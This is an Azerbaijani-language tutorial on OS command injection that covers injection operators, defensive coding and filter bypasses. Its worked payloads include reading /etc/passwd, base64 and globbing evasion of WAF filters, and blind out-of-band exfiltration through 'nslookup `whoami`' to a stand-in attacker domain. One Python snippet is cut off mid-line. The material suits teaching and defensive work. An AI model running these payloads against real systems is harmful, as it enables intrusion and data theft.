# OS Command Injection

## OS Command Injection nədir?

OS Command Injection, daha doğrusu əməliyyat sistemi əmr injeksiyası - **bir tətbiqin**, _istifadəçilərin tətbiqə səlahiyyətsiz əməliyyat sistemi əmrlərini daxil edərək icra etməsinə_ **imkan verdiyi halda** ortaya çıxan təhlükəsizlik boşluğudur. Düzgün **input sanitization** olmadığı halda, veb tətbiqin normalda işə salmaması lazım olan əmrlər icra edilir. Hakerlər bu əskiklikdən faydalanaraq zərərli əmrləri injeksiya edir və sistemə müdaxilə edə biləcək səlahiyyəti qazanır.

Web shell-lərdən fərqli olaraq, **OS command injection** hücumları, bir serverə zərərli faylların yüklənməsini tələb etmir. Bunun əvəzinə hədəf tətbiqdə _əməliyyat sistemi əmrlərini_ yaratmaq üçün birbaşa "**user input**"a əsaslanan yerlər müəyyənləşdiririk. Daha sonra, nəzərdə tutulan input kontekstindən çıxmaq və əmrləri işə salmaq üçün həmin kodları, **onlara xüsusi simvollar və sequence-lər injeksiya edərək** dəyişdirməliyik.

Məsələn, aşağıda emal edilməsi üçün istifadəçilərin fayl adı göndərməsinə imkan verən bir kod yazılıb:

```python
import os
def process_file(filename):
command = "ls -l " + filename
output = os.
```

Gördüyünüz kimi, tətbiqin `process_file()` funksiyası `filename` parametrini alır və input-dakı xüsusi simvolları və ya zərərli məzmunu yoxlamadan alınan parametri `ls -l` _əməliyyat sistemi əmrinə_ ötürür. Əgər funksiya, istifadəçidən gələn dataya görə fayl adını müəyyən edirsə və bu data güvənli deyilsə, hakerlər bu input-u manipulyasiya edərək sistemə zərərli əmrlər daxil edə bilər. Məsələn, bir haker `file.txt; id` kimi zərərli fayl adını input-a daxil etsə, tətbiq aşağıdakı əmri yaradacaq:

```bash
ls -l file.txt; id
```

Bununla ilk olaraq `file.txt` parametri istifadə edilərək nəzərdə tutulan `ls -l` əmri işə düşəcək, daha sonra injeksiya edilən `id` əmri işə düşəcək.





## OS command injection istifadəsi

Aşağıdakı cədvəl, mümkün **OS command injection** boşluqlarını test etməyin bir yolu kimi bu operatorların necə istifadə edildiyini izah edir:



| Operator                                  | Açıqlama                                                                 | İstifadə nümunəsi                        |
| ----------------------------------------- | ------------------------------------------------------------------------ | ---------------------------------------- |
| Nöqtəli vergül (;)                        | Tək sətirdə bir neçə əmri icra edir                                      | filename=abc.txt; id                     |
| Tək və ya cüt şaquli xətt (\| və ya \|\|) | Əmrləri zəncirləyir və əmr output-unu yönləndirir, OR şərtini təmin edir | filename=abd.txt \| cat /etc/passwd      |
| Tək və ya cüt ampersand (& və ya &&)      | Əmrləri birləşdirir və ya arxaplanda işə salır, AND şərtini təmin edir   | filename=abc.txt & ls -l                 |
| Əmr əvəzetmə (\`, $())                    | Əmrləri əvəz edir                                                        | filename=cat /etc/passwd                 |
| Yönləndirmə operatorları (>, >>, <)       | input/output yönləndirir                                                 | filename=abc; cat /etc/passwd > pass.txt |
| Tək və ya cüt dırnaq (", ')               | Əmr arqumentlərini kapsullaşdırır                                        | filename="abc.txt; id"                   |



### Faydalı əmrlər

**OS command injection** boşluğunu müəyyən etdikdən sonra, sistem haqqında məlumat əldə etmək üçün bəzi ilkin əmrləri icra etmək faydalı olacaq. Aşağıda Linux və Windows platformalarında faydalı olacaq bəzi əmrlər qeyd olunub:



| Əmrin məqsədi             | Linux         | Windows         |
| ------------------------- | ------------- | --------------- |
| Hazırkı istifadəçinin adı | `whoami`      | `whoami`        |
| Əməliyyat sistemi         | `uname -a`    | `ver`           |
| Şəbəkə konfiqurasiyası    | `ifconfig`    | `ipconfig /all` |
| Şəbəkə bağlantıları       | `netstat -an` | `netstat -an`   |
| İşləyən proseslər         | `ps -ef`      | `tasklist`      |



## OS command injection hücumlarının qarşısını alma

Bu cür boşluqları önləməyin ən effektiv yolu, OS əmrlərini heç bir zaman **application-layer** kodundan çağırmamaqdır. Demək olar ki, bütün hallarda **daha təhlükəsiz platforma API-ləri istifadə edərək** tələb olunan funksionallığı həyata keçirməyin müxtəlif yolları mövcuddur.

Əgər istifadəçi tərəfindən daxil edilən input ilə OS əmrlərini çağırmağınız lazımdırsa, onda daha güclü **input validation** tətbiq etməlisiniz. Effektiv validation üçün nümunələr:

* _İcazə verilən dəyərlərin whitelist-inə_ görə doğrulama. Yəni, input-da ancaq əvvəlcədən icazə verilmiş və müəyyən edilmiş dəyərlərin olduğuna əmin olmaq.&#x20;
* Input-un rəqəm olduğunu doğrulama. Yəni, istifadəçi tərəfindən daxil edilmiş dəyərin rəqəmsal bir dəyər olduğuna əmin olmaq.&#x20;
* Input-un yalnız hərf və rəqəm simvollarını ehtiva etdiyini və başqa heç bir sintaksis və ya boşluq ehtiva etmədiyini doğrulama.

Heç vaxt "**escaping shell metacharacters**" ilə input-u sanitarizasiya etməyə çalışmayın. Yəni, əgər `;`, `&`, `|`, `<`, `>`, `*`, `?`, `$`, `\`, `!`, `"` kimi **shell meta simvolları** üçün **escape** _(zərərsizləşdirmək)_ istifadə etsəniz belə input datasını güvənli hala gətirə bilməyəcəksiniz. Praktikada bu, səhvə meyillidir və təcrübəli haker tərəfindən bypass edilə bilər.



### Parametrized Functions

Python-da `subprocess` modulu kimi güvənli funksiyalar istifadə edərək əmrləri ayrı bir arqument olaraq vermək, **OS command injection**-a qarşı qoruma təmin edir.

```python
import subprocess

user_input = "somefile.txt"

# Güvənli bir şəkildə əmri işə sal
subprocess.run(["ls", user_input])

```

PHP nümunəsi:

```php
$user_input = escapeshellarg("somefile.txt");

# Güvənli bir şəkildə əmri işə sal
exec("ls " . $user_input);
```



### Input Validation

İstifadəçinin daxil etdiyi dəyərləri, OS əmrlərinə daxil etmədən doğrulamaq, **command injection** riskini azaldır. Python nümunəsi:

```python
import subprocess
import re

user_input = "somefile.txt"

# Input-un yalnız müəyyən edilmiş formatda olduğuna əmin olun
if re.match(r'^[a-zA-Z0-9_\-\.]+$', user_input):
    subprocess.run(["ls", user_input])
else:
    print("Geçersiz girdi")
```

###

### Fixed Commands

Mümkün olduğu halda, istifadəçi tərəfindən daxil edilən dataları birbaşa əmrlərdə istifadə etmək əvəzinə, sabit əmrləri istifadə edin və ya əmrləri sabit parametrlərlə məhdudlaşdırın. Python nümunəsi:

```python
import subprocess

user_option = "list"

if user_option == "list":
    subprocess.run(["ls", "-l"])
else:
    print("Yararsız seçim")

```

###

### Güvənli kitabxana və API istifadəsi

Bir çox proqramlaşdırma dilində və framework-də güvənli əmr işə salma funksiyaları mövcuddur. Bu kitabxana və API-ların istifadəsi, **command injection** riskini azalda bilər. Python nümunəsi:

```python
import shlex
import subprocess

user_input = "somefile.txt"

# Input-u güvənli şəkildə parçalara ayır
safe_input = shlex.quote(user_input)

subprocess.run(f"ls {safe_input}", shell=True)
```

###

### Minimum səlahiyyət prinsipi

Əmrləri işə salan tətbiqlərin yalnız lazımi səlahiyyətlərlə işə düşdüyünə əmin olun. Beləliklə, bir boşluq yaransa belə zərəri minimuma endirmiş olarsınız.



## Command Injection məhdudiyyətlərini bypass etmə

Developerlər, OS əmr injeksiyalarını önləmək üçün sanitarizasiya kontrolları edir. Ancaq yenə də, bu kontrolları bypass (_yan keçmək_) etmək üçün istifadə edə biləcəyimiz bir neçə üsulu bilmək faydalıdır.



### Obfuscation and Encoding

**Gizləmə** və **kodlaşdırma** bəzi hallarda, "**detection**" prosesindən yayınmağa kömək edir. _**URL kodlaşdırma, base64 kodlaşdırma və simvol kodlaşdırma**_ kimi texnikalar, **payload**-ı güvənlik kontrollarından, yoxlanışlardan və filtrlərdən gizlədə bilir. Misal üçün, `ls -l` kimi əmrin tamamını **base64** ilə kodlaşdıra və input daxilində gizlədə bilərik. Məsələn:

```bash
| $(echo 'bHMgLWw=' | base64 -d)
```

Bununla, veb tətbiqin mövcud çalışan directory-sinin tam bir fayl sistemi siyahısını almalısınız.

Bu texnikanın hədəfi, aşkarlama üçün istifadə edilən pattern-matching və ya filtrləmə mexanizmlərindən yayınmaqdır. Müntəzəm ifadələrin istifadə edən təməl texnikalar, kodlaşdırılmış `bHMgLWw=` **string**-indəki bash əmrlərini müəyyənləşdirməkdə çətinlik çəkir.

### Globbing

**Globbing**, fayl adlarını və ya fayldakı digər məzmunu tam və ya qismən uyuşdurmaq (_matching_) üçün **wildcard pattern**-lərini istifadə etmə prosesidir. Əgər bir string-də aşağıdakı simvollar varsa, **wildcard pattern** hesab olunu&#x72;**: ?**, **\***, **\[**, **]** və ya **!**

**Globbing** qəribədir, çünki tam olaraq fayl və ya directory adını vermədən xüsusi fayl və ya directory-ləri müəyyən etməyimizə imkan verir, bu da müraciət məhdudiyyətlərini aşmağımıza potensial şərait yaradır. Məsələn, **Linux**-dakı `/etc/passwd` faylını misal gətirək. Bu fayla baxmaq üçün, tam yol və fayl adı ilə birgə `ls` əmrini icra edə bilərik:

```bash
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
```

Ancaq **`?`** wildcard simvolu ilə belə bir kodu da icra edə bilərik:

```bash
$ ls -l /etc/p?sswd
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
```

Bash, bu nümunəni, `/etc` directory-sinin altındakı fayllarla uyuşdurmağa çalışacaq. Nəzərə alsaq ki, `passwd`, bu nümunədəkinə oxşar olan tək fayldır, bu səbəbdən "?" simvolu "a" simvoluna çevrilir. (_Diqqət: kitab və məqalələrdə "**expand**" olaraq qeyd olunsa da, buradakı proses, **wildcard**-ın fayl adına çevrilməsi mənasını verir. Çünki **Globbing**, **wildcard** simvollarının fayl adlarına çevrilməsi prosesidir._)

Potensial olaraq məhdudlaşdırılmış directory-lərə müraciət etmək üçün eyni yanaşmanı istifadə edə bilərik:

```bash
$ ls -l /e??/passwd
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
```

Başqa heç bir directory adı, 3 simvol uzunluğunda olmadığı və _fayl sisteminin root bölməsində_ (/) "e" ilə başlamadığı üçün, nümunədəki "etc", directory ilə uyuşacaq.

**Globbing** daha da şiddətli ola bilər. Əgər son simvol istisna olmaqla bütün simvolları `?` ilə əvəz etsək, directory-də oxşar fayl adı olmadığı üçün `/etc/passwd` ilə uyuşacaq:

```bash
$ ls -l /???/?????d
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
```

Globbing-i fiqurlu mötərizə ilə birləşdirərək `/etc` üzrə bir neçə nümunə əlavə edə bilərik. Aşağıdakı kodda Bash, həm "p" ilə başlayıb "d" ilə bitən, həm də "g" ilə başlayıb "p" ilə bitən faylları axtaracaq. Bu, `/etc/passwd` və `/etc/group` kimi fayllarla uyuşmalıdır:

```bash
$ ls /??c/{p????d,g???p}
-rw-r--r-- 1 root root 3262 Jul 22 23:15 /etc/passwd
```



Globbing kimi özəllikləri bilmək faydalıdır, çünki bəzi tətbiqlər (və ya veb tətbiq firewall-ları) input-da müəyyən simvolların istifadə edilməsini məhdudlaşdıra bilər. Ancaq, bu məhdudiyyətlər "Globbing"i nəzərə almasa, filtrləri və validation-ları bypass etməyimizə imkan verir. Bu da, nəticədə wildcard simvolları ilə istədiyimiz fayllara və directory-lərə müraciət etməyimizə imkan verir.

Misal üçün, veb tətbiq firewall-ları adətən `http://example .com?file=/etc/passwd` kimi URL-lərə yönəlmiş sorğuları bloklayır. Tətbiqin fayl adını necə istifadə etməsindən asılı olaraq **Globbing**, firewall-ın detection məntiqini bypass etməyə kömək edə bilər.



## Blind OS command injection

**OS command injection**, həm də shell injection olaraq bilinir. Bu boşluq, bir hakerin tətbiqi işə salan serverdə əməliyyat sistemi (OS) əmrlərini icra etməsinə imkan verir. Ancaq bəzi hallarda yazılmış əmrin output-u **HTTP response** daxilində qaytarılmır. Bu, **Blind OS command** injection sayılır. Bu cür boşluqlardan faydalanmaq hələ də mümkündür, ancaq fərqli texnikalar lazımdır.

Fərz edək ki, qarşımızda _istifadəçilərin sayt haqqında əks-əlaqə verməsinə imkan verən_ bir sayt var. İstifadəçi e-poçt ünvanını və öz rəyini daxil edir. Server-side tətbiqi, bu əks-əlaqəni sayt administratoruna göndərmək üçün bir e-poçt yaradır. Bunu etmək üçün `mail` proqramını çağırır.

```bash
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

`mail` əmrinin output-u (əgər varsa) tətbiqin response-larında qaytarılmır. Bu səbəbdən `echo` payload-ı işə yaramayacaq. Bu halda, boşluğu aşkarlamaq və ondan faydalanmaq üçün başqa texnikalar istifadə edilməlidir.



### Blind OS command injection aşkarlama

Vaxt gecikməsini işə salmaq üçün injeksiya edilən bir əmri istifadə etmək olar. Əgər, tətbiq verilən vaxt bitdikdən sonra cavab verirsə, deməli əmrin işə düşdüyünə əmin olmaq olar. Bunu etmək üçün ən yaxşı yol, `ping` əmrini istifadə etməkdir. Çünki göndəriləcək ICMP paketlərinin sayını müəyyən etmək mümkündür. Bu, əmrin işə düşməsi üçün keçən vaxta nəzarət etməyinizə imkan verir:

```bash
& ping -c 10 127.0.0.1 &
```

Bu əmr, tətbiqin 10 saniyə ərzində şəbəkə adapterinə `ping` atmağa kömək edir.



### Blind OS command injection boşluğundan faydalanma

İnjeksiya edilmiş əmrin output-unu web root daxilində bir fayla yönləndirə və daha sonra brauzer ilə əldə edə bilərik. Fərz edək ki, statik resurslar (şəkillər və s.) təqdim edən bir veb tətbiq mövcuddur. Bu resursların ünvanı fayl sistemindəki `/var/www/static` directory-sindədir.

```bash
& whoami > /var/www/static/whoami.txt &
```

Bu əmrdə `>` simvolu ilə `whoami` əmrinin output-u qeyd olunan **txt** faylına göndərilir. Brauzerdə `https://vulnerable-website.com/whoami.txt` ünvanına gedərək faylı əldə edə, injeksiya edilmiş əmrin output-una baxa bilərik.



### Blind OS command injection boşluğundan OAST ilə faydalanma

Sahib olduğumuz bir sistemlə, OAST texnikalarını istifadə edərək "**out-of-band network interaction**"ı **işə salacaq** injeksiya edilmiş əmr istifadə edə bilərik. Məsələn:

```bash
& nslookup kgji2ohoyw.web-attacker.com &
```

Bu payload, göstərilən domen üzrə DNS axtarışını icra etmək üçün `nslookup` əmrini istifadə edir. Haker, əmrin uğurla injeksiya olduğuna əmin olmaq üçün, `nslookup` əmrinin nələri icra etdiyini müşahidə edir.

**Out-of-band** kanalı, injeksiya edilmiş əmrdən output-u çıxarmağın asan yolunu təqdim edir:

```bash
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

Bu, hakerə `whoami` əmrinin nəticəsini ehtiva edən domendə **DNS lookup** icra etməsinə imkan verir:

```
wwwuser.kgji2ohoyw.web-attacker.com
```



#### Out-of-Band Network Interaction nədir

Bantdankənar Şəbəkə Qarşılıqlı əlaqəsi - Normal data yolu xaricində başqa bir kanal istifadə edərək rabitəni qurmaqdır. Həmin rabitə kanalını istifadə edərək dataların göndərilməsi/alınması üçün nəzərdə tutulub. Adətən təhlükəsizlik testlərində istifadə olunur.

* **In-Band Interaction** - Bantdaxili şəbəkə qarşılıqlı əlaqəsi, normal data yolu üzərindən qurulmuş rabitədir. Məsələn, bir veb tətbiqlə eyni HTTP bağlantısı üzərindən data göndərmə/alma.
* **Out-of-Band Interaction -** Hakerin, hədəf sistemdən data almaq üçün fərqli bir şəbəkə və ya protokol istifadə etməsi deməkdir. Məsələn, bir hücumdan sonra hədəf sistemin DNS sorğularını göndərməsini təmin etmək.

**Command injection** ilə bir haker, hədəf sistemdə _özünün kontrolunda olduğu serverə_ DNS sorğusunu göndərə bilər. Bu, hədəf sistemin varlığını yoxlamaq və ya ordan data çəkmək üçün istifadə edilə bilər.

```sh
ping attacker-controlled-server.com
```

Bu əmr ilə bir serverə ping göndərilir və **out-of-band interaction** sayəsində haker, hədəf sistemin varlığını müəyyən edə bilir.



#### OAST (Out-of-Band Application Security Testing)

Bu texnikalar, tətbiqlərin normal _təhlükəsizlik testləri_ xaricində həyata keçirilən testlərdir. Təhlükəsizlik testlərini həyata keçirən mütəxəssislər, hədəf sistemin normal yollarla aşkarlana bilməyən boşluqlarını tapmaq üçün bu texnikaları istifadə edir. Bura adətən **network interaction** və data sızdırma kimi proseslər daxildir.



## OS command injection istifadə yolları

Deyək ki, `$user_input` dəyişəninin dəyərini dırnaq içində ekrana çıxardan kodumuz var:

```bash
echo "İstifadəçi girişi: $user_input"
```

Məqsədimiz bu dəyişənin içinə bir əmr injeksiya etməkdir. Bunun üçün belə bir kod injeksiya edə bilərik:

```bash
"; ls -la; echo "
```

Yəni nəticə etibarilə:

```bash
echo "İstifadəçi girişi: "; ls -la; echo "
```

İnjeksiya etdiyimiz kodu incələyək:

* İlk yazdığımız `"` (cüt dırnaq), orijinal koddakı cüt dırnağı bağlamaq üçündür. Çünki `$user_input` dəyişəni dırnaq arasında yazılıb. Bu dırnaqları bağlamalıyıq ki, öz kodlarımızı injeksiya edə bilək.
* `;` (nöqtəli vergül), bir neçə əmri eyni sətirdə yazmağımıza imkan verir. Bu, əvvəlki əmrin bitdiyini və yeni əmrin işə düşməsini təmin edir.
* `ls -la` əmri, mövcud directory-dəki faylları və qovluqları detallı şəkildə sadalamaq üçündür.
* `echo` isə boş bir sətri ekrana çıxardır.
* Sondakı `"` (cüt dırnaq) isə injeksiyanın işə düşməsi üçündür.

#### Niyə sonda `"` (cüt dırnaq) istifadə etməliyik?

Sondakı cüt dırnaq, əmrin tamamlanmasını bildirir. Bu da, shell əmrinin tamamının düzgün şəkildə emal olunmasını və injeksiyanın uğurla həyata keçməsini təmin edir.
